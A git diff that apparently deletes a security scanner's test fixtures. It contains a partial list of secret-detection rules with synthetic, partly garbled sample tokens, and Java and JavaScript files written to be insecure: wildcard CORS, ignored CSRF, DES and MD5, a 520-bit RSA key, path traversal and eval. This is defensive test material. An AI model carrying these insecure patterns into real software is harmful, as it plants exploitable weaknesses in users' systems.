-Generated Example: xraylr84omh_5pte<=="6w4t75yhyeffagnjbxeh5emyno0kpfju3lcckk5mgcyph1fafdoqpukbwkdj0ilaa8h75vpz0
-
-
-Rule ID: jfrog-identity-token
-Description: Discovered a JFrog Identity Token, potentially compromising access to JFrog services and sensitive software artifacts.
-Generated Example: xrayp> =ssxzb2hvu45xm8ae21uxdf0gvjyq88psfyw1a5o11pzmhm8gqaz09nq95nzm2f01
-
-Rule ID: jwt
-Description: Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data.
-Generated Example: eyrEFTZughJS9FkKTdDZ.eyWP70XdcHS9P-oPGxviQ\zuj.
-
-Rule ID: jwt-base64
-Description: Detected a Base64-encoded JSON Web Token, posing a risk of exposing encoded authentication and data exchange information.
-Generated Example: ZXlKcmRIa2lPaUp7oB
-1r77+abn6gPz_jOfCB6OCO2oO\Bb/2e9rN8Ani_Okq2LwgOVG-Du-qG
-
-Rule ID: kraken-access-token
-Description: Identified a Kraken Access Token, potentially compromising cryptocurrency trading accounts and financial security.
-Generated Example: kraken
-
-':
-=xdn=ij3il+z-qfyvunwj7=4=_ylmz/jxgpd0npyy5oa2+388/-earf38-c_cul_=2sz1anvz+o1x5s5z"
-
-Rule ID: kucoin-access-token
-Description: Found a Kucoin Access Token, risking unauthorized access to cryptocurrency exchange services and transactions.
-Generated Example: kucoin42ru--b
-
-:�c6cfdb3b1a6c85f5297fa686
-
-Rule ID: kucoin-secret-key
-Description: Discovered a Kucoin Secret Key, which could lead to compromised cryptocurrency operations and financial data breaches.
-Generated Example: kucoinv3x4dlekusyd ?==
-'2fbfe826-0c02-74c9-b81b-ce9e233986a0"
-
-Rule ID: launchdarkly-access-token
-Description: Uncovered a Launchdarkly Access Token, potentially compromising feature flag management and application functionality.
-Generated Example: launchdarkly5btwq3_o-uc4ufjfr1e:s7c07s3t6-_jnm-uq728___ti1gu5_f79j5x2_7_
-
-Rule ID: linear-api-key
-Description: Detected a Linear API Token, posing a risk to project management tools and sensitive task data.
-Generated Example: lin_api_k3pzkca1et14ppw6zmwqzhw9ups1uayoxlubccyw
-
-Rule ID: linear-client-secret
-Description: Identified a Linear Client Secret, which may compromise secure integrations and sensitive project management data.
-Generated Example: linearfd ges4 "=>=689ffc9621f3aea6e43b872f3c7cbb7e�
-
-Rule ID: linkedin-client-id
-Description: Found a LinkedIn Client ID, risking unauthorized access to LinkedIn integrations and professional data exposure.
-Generated Example: linkedin1c6x9dj.
-="=�="hhjd53jppdergj
-
-Rule ID: linkedin-client-secret
-Description: Discovered a LinkedIn Client secret, potentially compromising LinkedIn application integrations and user data.
-Generated Example: linkedinl6prcnc1t5c_jt ||:
-�zorpovw9c2ckkid1"
-
-Rule ID: lob-api-key
-Description: Uncovered a Lob API Key, which could lead to unauthorized access to mailing and address verification services.
-Generated Example: lobo_102fg9v9j_?=
-test_43fbcb7e56f5d656c02548840488b056c45
-
-Rule ID: lob-pub-api-key
-Description: Detected a Lob Publishable API Key, posing a risk of exposing mail and print service integrations.
-Generated Example: lobp1je641fxwghg4y_4eq
-<= test_pub_b50a22d2f5db88143bae1a09c5c53a8`
-
-Rule ID: mailchimp-api-key
-Description: Identified a Mailchimp API key, potentially compromising email marketing campaigns and subscriber data.
-Generated Example: mailchimp8w ogwqht9ymqtt_x3" :::=94324ebd37c44c335d0e59e40c54bc9b-us20
-
-Rule ID: mailgun-private-api-token
-Description: Found a Mailgun private API token, risking unauthorized email service operations and data breaches.
-Generated Example: mailgunm_gj_ugshrwy y57 ''::= ==key-422e6f981065719e405c3caf5e9c3cb5
-
-Rule ID: mailgun-pub-key
-Description: Discovered a Mailgun public validation key, which could expose email verification processes and associated data.
-Generated Example: mailgunz8n-n_0rq8 "||:pubkey-16363d54ae3c0413c2e00c66723c2e47
-
-Rule ID: mailgun-signing-key
-Description: Uncovered a Mailgun webhook signing key, potentially compromising email automation and data integrity.
-Generated Example: mailgun7.89hvygv?= =` d8127446eh2d9c099fg165b0897d9c91-17cc24ac-bb991d96
-
-Rule ID: mapbox-api-token
-Description: Detected a MapBox API token, posing a risk to geospatial services and sensitive location data exposure.
-Generated Example: mapboxo||:
- pk.kqywg1bhotgukblvycua96fe2923g2i3r5lpwlyf31uofei2d6eewi094396.2v0wgxlimi59t2jrspfz12
-
-Rule ID: mattermost-access-token
-Description: Identified a Mattermost Access Token, which may compromise team communication channels and data privacy.
-Generated Example: mattermostatemfa3e4_h-.rzucy =>"
- 9il815mpz4vfnfxiv3gbibpqmq
-
-Rule ID: messagebird-api-token
-Description: Found a MessageBird API token, risking unauthorized access to communication platforms and message data.
-Generated Example: messagebirdl�||:
-e0kr7u2hqji76z3suk1kjt7dj|
-
-Rule ID: messagebird-client-id
-Description: Discovered a MessageBird client ID, potentially compromising API integrations and sensitive communication data.
-Generated Example: messagebirdzs1 hfmbg9<="�da8a5b42-2ade-7c6d-30fd-7210102998fe
-
-Rule ID: microsoft-teams-webhook
-Description: Uncovered a Microsoft Teams Webhook, which could lead to unauthorized access to team collaboration tools and data leaks.
-Generated Example: https://550.webhook.office.com/webhookb2/tka8he0y-sv0b-u4lp-9opx-kx4g4hsqfg6h@yw2hwrjx-toby-pndg-d8z2-2sdjn8kfl85h/IncomingWebhook/mpjncn4cnchn63q9dc6rrk7jeedo6odd/osugfyc9-syp6-klao-15zw-9uaezecsin00
-
-Rule ID: netlify-access-token
-Description: Detected a Netlify Access Token, potentially compromising web hosting services and site management.
-Generated Example: netlifyevsq hy6 fz978k" =>�""`2fypapb0r_i5r5uxvd=pqmhrwtxjss9eaxx8yv0n
-
-Rule ID: new-relic-browser-api-token
-Description: Identified a New Relic ingest browser API token, risking unauthorized access to application performance data and analytics.
-Generated Example: new-relicmv7_9gyct77wa44za0c=> =NRJS-b286fc24d66d7c19c56
-
-Rule ID: new-relic-user-api-id
-Description: Found a New Relic user API ID, posing a risk to application monitoring services and data integrity.
-Generated Example: newrelich2 " =`
-`lbmh73v5jajxrq7bqft3vgdz5k0vc1fdobmtp17cykojc1win2w8gi7090ky9gib
-
-
-Rule ID: new-relic-user-api-key
-Description: Discovered a New Relic user API Key, which could lead to compromised application insights and performance monitoring.
-Generated Example: new-relic_3coqh� =
-'`"NRAK-6ykeaui5fxk25adqvf0ocbjgrys
-
-
-Rule ID: npm-access-token
-Description: Uncovered an npm access token, potentially compromising package management and code repository access.
-Generated Example: npm_5vzsv8by95fh7i88awhtkzzjt6l7qmapb9nl"
-
-Rule ID: nytimes-access-token
-Description: Detected a Nytimes Access Token, risking unauthorized access to New York Times APIs and content services.
-Generated Example: nytimesd2fdfcvsftob6gg='"
-onxr_upi24x=zix=m9792h-rdm7wuttm
-
-Rule ID: okta-access-token
-Description: Identified an Okta Access Token, which may compromise identity management services and user authentication data.
-Generated Example: okta6miq20..o5dmr4_1cq'||:
-=iyy1mwkd7rsj3egdgwdapngywc2wysn0e2hgfu=in7
-
-Rule ID: openai-api-key
-Description: Found an OpenAI API Key, posing a risk of unauthorized access to AI services and data manipulation.
-Generated Example: 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
-
-Rule ID: plaid-api-token
-Description: Discovered a Plaid API Token, potentially compromising financial data aggregation and banking services.
-Generated Example: plaidc0ljup9p2my7i
-��||:'=`=access-production-e4c9f29c-5d26-bb74-cf91-692474ca4281;
-
-Rule ID: plaid-client-id
-Description: Uncovered a Plaid Client ID, which could lead to unauthorized financial service integrations and data breaches.
-Generated Example: plaid3tg.6ntl�|:
-`
-hez82i6x2mcglhlcy1zpmbfg
-
-Rule ID: plaid-secret-key
-Description: Detected a Plaid Secret key, risking unauthorized access to financial accounts and sensitive transaction data.
-Generated Example: plaid09_q9p0gtr9-safelmy ::=`"ih272utcezihkc6t86r2df9qwtqtwj`
-
-Rule ID: planetscale-api-token
-Description: Identified a PlanetScale API token, potentially compromising database management and operations.
-Generated Example: pscale_tkn_jvybelt=hiim_gyqr_j72nl3k_3qdgbm4be=z"
-
-Rule ID: planetscale-oauth-token
-Description: Found a PlanetScale OAuth token, posing a risk to database access control and sensitive data integrity.
-Generated Example: pscale_oauth_y-tk==ztr-070cc8iqbb4mngbssfbuni85sncxp9ec_vt
-
-Rule ID: planetscale-password
-Description: Discovered a PlanetScale password, which could lead to unauthorized database operations and data breaches.
-Generated Example: pscale_pw_fpledu-.arlhcntprl77gegdy=90fl11vdvjb6q_ugz.zf
-
-Rule ID: postman-api-token
-Description: Uncovered a Postman API token, potentially compromising API testing and development workflows.
-Generated Example: PMAK-e8937548baa679a0abf44536-1558b18c39045e9427e4e5bb9c1e9ebef7
-
-Rule ID: prefect-api-token
-Description: Detected a Prefect API token, risking unauthorized access to workflow management and automation services.
-Generated Example: pnu_lkkx7fxogfleh1jkq716rmddtazi0mbsh51i"
-
-Rule ID: private-key
-Description: Identified a Private Key, which may compromise cryptographic security and sensitive data encryption.
-Generated Example: -----BEGINL84K1GD79IG0PRIVATE KEY------�
-
-
-KEY BLOCK----
-
-Rule ID: pulumi-api-token
-Description: Found a Pulumi API token, posing a risk to infrastructure as code services and cloud resource management.
-Generated Example: pul-ab03c87b9bdf2b14e82fd915e638a36c9f36c229
-
-Rule ID: pypi-upload-token
-Description: Discovered a PyPI upload token, potentially compromising Python package distribution and repository integrity.
-Generated Example: pypi-AgEIcHlwaS5vcmcL5WPLkZSPb-jBL1BoTVOXLlrq5EOkVKEIDjqinGwSMNPdQliGXbbwa-V2hbo
-
-Rule ID: rapidapi-access-token
-Description: Uncovered a RapidAPI Access Token, which could lead to unauthorized access to various APIs and data services.
-Generated Example: rapidapih47vv4wge.u6zya92t8|
-|=``"6gkf0ivcu06p14jiztia5q-fzyr6o8dduqn03yauhqe7numu13
-
-Rule ID: readme-api-token
-Description: Detected a Readme API token, risking unauthorized documentation management and content exposure.
-Generated Example: rdme_hjrk2lvk40c5xcz51x6ye3bu77xmkkg9i22r9xv6vb76p2utacglf46fvj4xlmsuw3thci'
-
-Rule ID: rubygems-api-token
-Description: Identified a Rubygem API token, potentially compromising Ruby library distribution and package management.
-Generated Example: rubygems_352b81f9bebe922c44bd251a310258a6dd8e0fe8492f44d4
-
-Rule ID: scalingo-api-token
-Description: Found a Scalingo API token, posing a risk to cloud platform services and application deployment security.
-Generated Example: tk-us-sb3IIZV5_xBuGbg2E5Rtwghy5wcdTcRPvggRPdF9NMe9APZG
-
-Rule ID: sendbird-access-id
-Description: Discovered a Sendbird Access ID, which could compromise chat and messaging platform integrations.
-Generated Example: sendbirdbft3mlql7dyv "'<='=
-
- 0965e801-4e85-5969-69f5-dd08b4ae2972'
-
-Rule ID: sendbird-access-token
-Description: Uncovered a Sendbird Access Token, potentially risking unauthorized access to communication services and user data.
-Generated Example: sendbirdlcjb60.wqb1-piix�"�?=
- 5129c4d14eaa1adc12ed17f7c86116cf27100d1c|
-
-Rule ID: sendgrid-api-token
-Description: Detected a SendGrid API token, posing a risk of unauthorized email service operations and data exposure.
-Generated Example: SG.2-oh0x=vxpgbeiv80e7h-790v.hh9axox_pll.r02ji9scfa-xiab8-7qf3apk-.2s
-
-Rule ID: sendinblue-api-token
-Description: Identified a Sendinblue API token, which may compromise email marketing services and subscriber data privacy.
-Generated Example: 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
-
-Rule ID: sentry-access-token
-Description: Found a Sentry Access Token, risking unauthorized access to error tracking services and sensitive application data.
-Generated Example: sentry4zgjeyhy0jt8zgmk' =>110dae8c6cff474ccc1accbda8d9a8e508a7ce7c7aed4e572be3159642a68eb3
-
-Rule ID: shippo-api-token
-Description: Discovered a Shippo API token, potentially compromising shipping services and customer order data.
-Generated Example: shippo_live_b86692beabc8e4345fad1b47e5682cdb7336ad42|
-
-Rule ID: shopify-access-token
-Description: Uncovered a Shopify access token, which could lead to unauthorized e-commerce platform access and data breaches.
-Generated Example: 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
-
-Rule ID: shopify-custom-access-token
-Description: Detected a Shopify custom access token, potentially compromising custom app integrations and e-commerce data security.
-Generated Example: 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
-
-Rule ID: shopify-private-app-access-token
-Description: Identified a Shopify private app access token, risking unauthorized access to private app data and store operations.
-Generated Example: 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
-
-Rule ID: shopify-shared-secret
-Description: Found a Shopify shared secret, posing a risk to application authentication and e-commerce platform security.
-Generated Example: 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
-
-Rule ID: sidekiq-secret
-Description: Discovered a Sidekiq Secret, which could lead to compromised background job processing and application data breaches.
-Generated Example: BUNDLE_ENTERPRISE__CONTRIBSYS__COMo7idrdn79xahjk
-
-:`ba4f2b2e:0f29ef58
-
-Rule ID: sidekiq-sensitive-url
-Description: Uncovered a Sidekiq Sensitive URL, potentially exposing internal job queues and sensitive operation details.
-Generated Example: https://feda65a0:ec79f130@enterpriseOcontribsysPcom?
-
-Rule ID: slack-app-token
-Description: Detected a Slack App-level token, risking unauthorized access to Slack applications and workspace data.
-Generated Example: xapp-3-G-10029079683107-grlyxqtmm3agdtnp1fj
-
-Rule ID: slack-bot-token
-Description: Identified a Slack Bot token, which may compromise bot integrations and communication channel security.
-Generated Example: xoxb-896384292132-2696318678067bx
-
-Rule ID: slack-config-access-token
-Description: Found a Slack Configuration access token, posing a risk to workspace configuration and sensitive data access.
-Generated Example: xoxeZxoxp-9-DSTEPTMH43BMP6H46ZNY4HMEH9OG0AMQNVVIMIV2W8WHWMXLGLCFSHJXHRISM7QL0BBCXW6B2DMPVNIMON1AZ4QKZLY0AD0QRL49Y2AJX3AIATNZ1EE7EDHT85U5YDG2UHPDZCS1GA8XKVQFB05L8IVCL16I4J2YVEDE
-
-Rule ID: slack-config-refresh-token
-Description: Discovered a Slack Configuration refresh token, potentially allowing prolonged unauthorized access to configuration settings.
-Generated Example: xoxe-4-EWUCUFMP7DWCN36BY4S23GRAVGSYRKFZRZY1AG7F7HGR5YG6R7PIX9JV6OC3LF5ED609ZMJS1FOCFIXA2D608VNCNXT52FXPTVHOTJKTB062CY1P0SDG9K4O9ZX4MFWFE4Z6A7674HYOCMJOB6
-
-Rule ID: slack-legacy-bot-token
-Description: Uncovered a Slack Legacy bot token, which could lead to compromised legacy bot operations and data exposure.
-Generated Example: xoxb-2858623943663-foLKolVVP4EFbJ13loLwJPkQX3
-
-Rule ID: slack-legacy-token
-Description: Detected a Slack Legacy token, risking unauthorized access to older Slack integrations and user data.
-Generated Example: xoxs-303236462-11623776210-1074065-e0bFF28cb348Dca
-
-Rule ID: slack-legacy-workspace-token
-Description: Identified a Slack Legacy Workspace token, potentially compromising access to workspace data and legacy features.
-Generated Example: xoxa-5-mPEAgT2Lyi6v2rBi2rJgbpY
-
-Rule ID: slack-user-token
-Description: Found a Slack User token, posing a risk of unauthorized user impersonation and data access within Slack workspaces.
-Generated Example: xoxp-9216717979-1281632918221-5675795174656-GIZtEhc4htwJZHcWyM1mgtxYDT0d
-
-Rule ID: slack-webhook-url
-Description: Discovered a Slack Webhook, which could lead to unauthorized message posting and data leakage in Slack channels.
-Generated Example: http://hooksHslackAcom/services/mLFEwiqfxzEHgyVHCPjc2EguDzojjYvGQazbo/pfJKHxf
-
-Rule ID: snyk-api-token
-Description: Uncovered a Snyk API token, potentially compromising software vulnerability scanning and code security.
-Generated Example: snyk_api_keywq8iyrl4| �:
- �=
-3df8e02d-43af-c806-e7c4-7d8a88f632a1
-
-Rule ID: square-access-token
-Description: Detected a Square Access Token, risking unauthorized payment processing and financial transaction exposure.
-Generated Example: sq0atp-ZuC3GZBqXzWVse79jnbW9n
-
-Rule ID: squarespace-access-token
-Description: Identified a Squarespace Access Token, which may compromise website management and content control on Squarespace.
-Generated Example: squarespacesw.g0__5g a26gb9im||:�
-a2bb4735-dc59-f899-73f5-584e326d3542|
-
-Rule ID: stripe-access-token
-Description: Found a Stripe Access Token, posing a risk to payment processing services and sensitive financial data.
-Generated Example: sk_test_5coib8z58rz8v9
-
-Rule ID: sumologic-access-id
-Description: Discovered a SumoLogic Access ID, potentially compromising log management services and data analytics integrity.
-Generated Example: sumos9a 6- xiidi uwxetn||: '
-suf10zjJ2qEWk4
-
-Rule ID: sumologic-access-token
-Description: Uncovered a SumoLogic Access Token, which could lead to unauthorized access to log data and analytics insights.
-Generated Example: sumo6jgifnpnac-fvridt
- :::==
- 8wviiqu7a9xc22sq2bxwpujg7yzzxgdiqfyy2x3pc0butnkxgm5sfz78htyr47uv'
-
-Rule ID: telegram-bot-api-token
-Description: Detected a Telegram Bot API Token, risking unauthorized bot operations and message interception on Telegram.
-Generated Example: 1835263604:AWj9XvS92WCiQY94L60vClHsCMOQKdNOnnq
-
-Rule ID: travisci-access-token
-Description: Identified a Travis CI Access Token, potentially compromising continuous integration services and codebase security.
-Generated Example: travisg1m0.zka6vjyab 7y�|'>
-="bqrsxxiqff5sficghkmq0s
-
-Rule ID: twilio-api-key
-Description: Found a Twilio API Key, posing a risk to communication services and sensitive customer interaction data.
-Generated Example: SK77B986cd2Dd772eeCf8A0ffd457324D0
-
-Rule ID: twitch-api-token
-Description: Discovered a Twitch API token, which could compromise streaming services and account integrations.
-Generated Example: twitchycn6?=""= 'gcrsuu48be27qz44yib6ys36ln4kya
-
-Rule ID: twitter-access-secret
-Description: Uncovered a Twitter Access Secret, potentially risking unauthorized Twitter integrations and data breaches.
-Generated Example: twitterv7doc <=
- 'w5yxf20ptpjxufwyfaqyz1kgoteemp39p5pjw9hd4ym0h
-
-Rule ID: twitter-access-token
-Description: Detected a Twitter Access Token, posing a risk of unauthorized account operations and social media data exposure.
-Generated Example: twitterw�">
-`
-'6931008712879319203330-vfiGuWEKKdPqRwPhzhIdqAr1L3Z09oGjKCbe�
-
-Rule ID: twitter-api-key
-Description: Identified a Twitter API Key, which may compromise Twitter application integrations and user data security.
-Generated Example: twitterx9-bx" =�``"�d5eas4w7bfnjby542nxrt6uox�
-
-Rule ID: twitter-api-secret
-Description: Found a Twitter API Secret, risking the security of Twitter app integrations and sensitive data access.
-Generated Example: twitter .8s gpthr9gw<=947jkh5uzc70xpds7jx6dlkyye7exxmrp1irbypqf38ccvzq64
-
-Rule ID: twitter-bearer-token
-Description: Discovered a Twitter Bearer Token, potentially compromising API access and data retrieval from Twitter.
-Generated Example: twitterzb36k<=``'AAAAAAAAAAAAAAAAAAAAAAIcSNVXrIsVAVY8zZcbQiQyviXbtnx4X8E7oZryDDKiXfsc41kZ90h9A0CmxNElpTXUSEco0rUHsx5zyRk5Db"
-
-Rule ID: typeform-api-token
-Description: Uncovered a Typeform API token, which could lead to unauthorized survey management and data collection.
-Generated Example: typeform838edk_1acq4n5n2b9l=>' `tfp_fmsaw.dfcld0p0fi5dlvupvz1_lt5-czjwjc32ha2pd3tl2=_ueu9yujm76
-
-Rule ID: vault-batch-token
-Description: Detected a Vault Batch Token, risking unauthorized access to secret management services and sensitive data.
-Generated Example: hvb.j19l0qzfyd8vvm1w3_tl6jkoyzbr1tg1vquif2doz427ums51-x35ue37jlk72z21tozuewpe0giqlf_4vk1w3z_mmus5nojzthcfpxnnklc6zb37msz-nxynqvit-vy1hldo3npswzh7hd-eyr3l6b5wf
-
-Rule ID: vault-service-token
-Description: Identified a Vault Service Token, potentially compromising infrastructure security and access to sensitive credentials.
-Generated Example: hvs.070jb-bq9fakknko0sv6x_pnks_8mx5zqmn58a9g08siax-u1txg1qkk1vx0w9cv9lj0e923ta_2v8ws7-tqrm_sh6mimq06pp
-
-Rule ID: yandex-access-token
-Description: Found a Yandex Access Token, posing a risk to Yandex service integrations and user data privacy.
-Generated Example: yandex�
-<= "'�t1.B7bp==.oLVlxyhOVhLyQoGaGY91N_nF5Vj2c6bLSDOIHehaI0f1cpGQ3boLOY6AlYhW_aUIaCMFX7sUnCpx-pILVwlytA==
-
-Rule ID: yandex-api-key
-Description: Discovered a Yandex API Key, which could lead to unauthorized access to Yandex services and data manipulation.
-Generated Example: yandexhaydvm33v-73uj�:=''AQVNKtmQFhFa1guFRV3v2bGZJ0Ylb3Wp3uILUcA
-
-Rule ID: yandex-aws-access-token
-Description: Uncovered a Yandex AWS Access Token, potentially compromising cloud resource access and data security on Yandex Cloud.
-Generated Example: yandexzjri87tdtnlv49" ||:=
-YCXfn58rEwv49KU9_xWwbp5Y3bBGZ4imXVR0B2CK
-
-Rule ID: zendesk-secret-key
-Description: Detected a Zendesk Secret Key, risking unauthorized access to customer support services and sensitive ticketing data.
-Generated Example: zendesk09rdj5 2mos7wn
-='pqi2wecz0wimxj9et4b567q6ngqf04vba7bagwoi
\ No newline at end of file
diff --git a/badCode1.iml b/badCode1.iml
new file mode 100644
index 0000000..908ad4f
--- /dev/null
+++ b/badCode1.iml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/java/main.java b/java/main.java
deleted file mode 100644
index c6d4618..0000000
--- a/java/main.java
+++ /dev/null
@@ -1,189 +0,0 @@
-import static org.apache.commons.io.FilenameUtils;
-import org.apache.commons.fileupload.FileItem;
-import javax.servlet.http.Cookie;
-import static org.apache.commons.io.FilenameUtils;
-
-class MyBadImplementation extends java.security.MessageDigest {
-
-}
-
-class Connector1 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- HttpServletResponse res = new HttpServletResponse();
- res.setHeader("Access-Control-Allow-Origin", "*");
- }
-}
-
-import javax.servlet.Filter;
-public class HttpRequestDebugFilter implements Filter {
- public void doFilter(ServletRequest request) throws IOException,
- ServletException {
- if (request instanceof HttpServletRequest) {
- javax.crypto.Cipher.getInstance("/CBC/PKCS5Padding")
- }
- }
-}
-
-@EnableWebSecurity
-public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
-
- @Override
- protected void configure(HttpSecurity http) throws Exception {
- http.csrf().ignoringAntMatchers("/route/fre");
- }
-}
-
-class Connector2 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- SymmetricEncryptionConfig sec = new com.hazelcast.config.SymmetricEncryptionConfig();
- }
-}
-
-class Connector3 {
- void connect(HttpServletRequest req){
- javax.servlet.http.Cookie cookie = new Cookie("cookie")
- HttpServletResponse res = new HttpServletResponse();
- res.addCookie(cookie);
- }
-}
-
-class Connector4 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- javax.crypto.Cipher.getInstance("DES/CBC/NoPadding");
- }
-}
-
-class Connector5 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- Keygen keygen = javax.crypto.KeyGenerator.getInstance("Blowfish");
- keygen.init(100);
- }
-}
-
-class Connector6 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- javax.servlet.http.Cookie cook = new Cookie("cookie");
- cook.setSecure(false);
- req.addCookie(cook);
- }
-}
-
-
-class Connector7 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- Cookie cook = new Cookie("cookie");
- cook.setMaxAge(31536000);
- }
-}
-
-class Connector8 {
- void connect(HttpServletRequest req){
- java.nio.file.Files.createTempDirectory("file");
- }
-}
-
-public class WeakNightVoter implements AccessDecisionVoter {
- @Override
- public int vote(Authentication authentication, Object object, Collection collection) { // Noncompliant
- Calendar calendar = Calendar.getInstance();
- int currentHour = calendar.get(Calendar.HOUR_OF_DAY);
- return ACCESS_ABSTAIN; // Noncompliant
- }
-}
-
-class Connector9 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- Cookie cook = new Cookie("cookie");
- for (Cookie cookie : req.getCookies()) {
- cookie.getPath();
- }
- }
-}
-
-class Connector10 {
- @javax.jws.WebMethod
- void connect(HttpServletRequest req){
- Cookie cook = new Cookie("cookie");
- req.setAttribute(cook.getString(), cook.getVal());
- }
-}
-
-public class Decorator1 {
-
- public static void main(String[] args) {
- org.apache.commons.io.FilenameUtils.normalize(args[0]);
- }
-}
-
-public class Decorator2 {
-
- public void decorator(HttpServletRequest request) {
- ServletFileUpload sfu = new ServletFileUpload();
- FileItem[] files = sfu.parseRequest(request);
- for (FileItem file : files) {
- System.out.println(file.getName());
- }
- }
-}
-
-public class Decorator3 {
-
- public void decorator(HttpServletRequest request) {
- Parameter param = request.getParameter('param');
- new java.io.FileReader(param);
- }
-}
-
-public class Decorator4 {
-
- public void decorator(String[] args) {
- new java.io.FileWriter(args[0])
- }
-}
-
-public class Decorator5 {
-
- public void decorator(String var) {
- FileInputStream fis = new FileInputStream(var);
- javax.xml.transform.Transformer transformer = new Transformer();
- transformer.transform(fis);
- }
-}
-
-public class Decorator6 {
-
- public void decorator(HttpServletRequest request) {
- Parameter param = request.getParameter('param');
- added = param + "addition";
- new java.io.FileInputStream(added);
- }
-}
-
-public class Decorator7 {
-
- public void decorator(String[] args) {
- String param = args[0];
- new java.io.RandomAccessFile(param);
- }
-}
-
-
-
-public class LambdaFunctionHandler implements RequestHandler < Request, String > {
- @javax.ws.rs.Path("some/path")
- String handleRequest(Request request, Context context) {
- String s = " ";
- if (s == "") {
- s = "Sucess " + String.format("Added %s %s %s %s %s.", request.emp_id, request.month, request.year, request.overtime);
- }
- return s;
- }
-}
-
diff --git a/javascript/crypto.js b/javascript/crypto.js
deleted file mode 100644
index 006f5db..0000000
--- a/javascript/crypto.js
+++ /dev/null
@@ -1,94 +0,0 @@
-const cryptoRandomString = require('crypto-random-string');
-const forge = require('node-forge');
-const randomBytes = require('randombytes');
-const nacl = require('tweetnacl');
-import crypto from 'node:crypto';
-var crypto = require('crypto');
-
-let Rand = new brorand.Rand({getByte: () => 255});
-let rand = Rand.rand;
-let result= Rand.generate(12);
-
-randomBytes(12, (err, buf) => {
- if (err) throw err;
- console.log(`${buf.length} bytes of random data: ${buf.toString('hex')}`);
-});
-randomBytes(8, function (err, resp) {
-});
-
-const randString = cryptoRandomString({length: 10});
-var randKey1 = forge.random.getBytesSync(8);
-var randKey2 = new Buffer(nacl.randomBytes(12));
-
-
-// getting derived key
-// by using hkdf() method
-const val = crypto.hkdf('sha512', 'key', '',
- 'info', 64, (err, derivedKey) => {
- if (err) throw err;
- console.log(Buffer.from(derivedKey).toString('hex'));
-});
-
-crypto.DEFAULT_ENCODING = 'hex';
-const key = crypto.scryptSync('password', '', 64, { N: 1024 });
-
-function generateKeyFiles() {
-
- const keyPair = crypto.generateKeyPairSync('rsa', {
- modulusLength: 520,
- publicKeyEncoding: {
- type: 'spki',
- format: 'pem'
- },
- privateKeyEncoding: {
- type: 'pkcs8',
- format: 'pem',
- cipher: 'aes-256-cbc',
- passphrase: 'top secret'
- }
- });
-
- // Creating private key file
- return keyPair.privateKey;
-}
-
-// Generate keys
-let privateKey = generateKeyFiles();
-
-// Creating a function to encrypt string
-function encryptString (plaintext, privateKey) {
- privateKey = {
- key: privateKey,
- padding: crypto.constants.RSA_NO_PADDING,
- passphrase: 'top secret'
- }
- // privateEncrypt() method with its parameters
- const encrypted = crypto.privateEncrypt(
- privateKey, Buffer.from(plaintext));
- return encrypted.toString("base64");
-}
-
-
-const plainText = "GfG";
-const encrypted1 = encryptString(plainText, privateKey);
-let functionCipher = crypto.createCipheriv('des128', "Password")
-let myHashedPassword = functionCipher.update("my private password in plain text", "utf8", "hex")
-myHashedPassword += functionCipher.final("hex")
-var encrypted2 = CryptoJS.TripleDES.encrypt("Message", "Secret Passphrase");
-
-
-const filename = argv[2];
-
-const hash = createHash('md5');
-
-const input = createReadStream(filename);
-input.on('readable', () => {
- // Only one element is going to be produced by the
- // hash stream.
- const data = input.read();
- if (data)
- hash.update(data);
- else {
- console.log(`${hash.digest('hex')} ${filename}`);
- }
-});
\ No newline at end of file
diff --git a/javascript/express.js b/javascript/express.js
deleted file mode 100644
index 5c3cf0b..0000000
--- a/javascript/express.js
+++ /dev/null
@@ -1,40 +0,0 @@
-const express = require('express')
-const axios = require('axios');
-import qs from 'qs';
-
-const data = { 'bar': 123 };
-const options = {
- method: 'GET',
- headers: { 'content-type': 'application/x-www-form-urlencoded' },
- data: qs.stringify(data),
- url: "http://google.com"
-};
-axios(options);
-
-express.csrf();
-express.methodOverride();
-const express = express()
-
-// GET random number
-express.get("/random", (req, res) => {
- var randomishNumber = crypto.pseudoRandomBytes
- res.send(randomishNumber);
-});
-
-express.get("/", (req, res) => res.send("Hello World!"));
-
-express.listen(1000, () => console.log("Server listening on port 1000!"));
-
-import axios from 'axios';
-
-async function doGetRequest() {
-
- let res = await axios.post('http://google.com');
-
- let data = res.data;
- console.log(data);
-}
-
-doGetRequest();
-
-
diff --git a/javascript/index.js b/javascript/index.js
deleted file mode 100644
index 2ac1517..0000000
--- a/javascript/index.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const fs = require('fs');
-
-fs.writeFile("temp_programming.txt", "foo", {mode:fs.constants.S_IXUSR | fs.constants.S_IRUSR });
-
-const mode1 = fs.constants.S_IXGRP | fs.constants.S_IRUSR
-fs.writeFile("temp_programming.txt", "bar", {mode1});
-fs.appendFile(argOne, data, callback)
-fs.appendFileSync(argOne, data)
-fs.chmod(argOne, mode, callback)
-fs.chmodSync(argOne, mode)
-
-const mode2 = fs.constants.S_IXUSR;
-const flags = 'w'
-fs.open('temp_foo', flags, mode2, function (err, f) {
- if (err) {
- return console.error(err);
- }
- console.log(f);
- console.log("File opened!!");
-});
-
-fs.writeFileSync("temp_programming.txt", "foo", {mode:fs.constants.S_IXUSR | fs.constants.S_IRUSR });
-
-new Buffer(5);
-new Buffer(res.body.size);
-
-function getVarFromObject(someVar, obj) {
- obj.escapeMarkup = false;
- const someObjVar = {s: someVar}
- const val = obj[someObjVar.s]
- return val
-}
-
-const expression = new String("2 + 2");
-eval(String(expression));
-
-
-
-
diff --git a/javascript/nest.js b/javascript/nest.js
deleted file mode 100644
index e77592d..0000000
--- a/javascript/nest.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import { INestApplication, ValidationPipe } from '@nestjs/common';
-import { NestFactory } from '@nestjs/core';
-import { DocumentBuilder, SwaggerModule } from '@nestjs/swagger';
-
-import { LoggingInterceptor } from 'libs/LoggingInterceptor';
-import { HttpExceptionFilter } from 'libs/HttpExceptionFilter';
-
-import { Config } from 'src/Config';
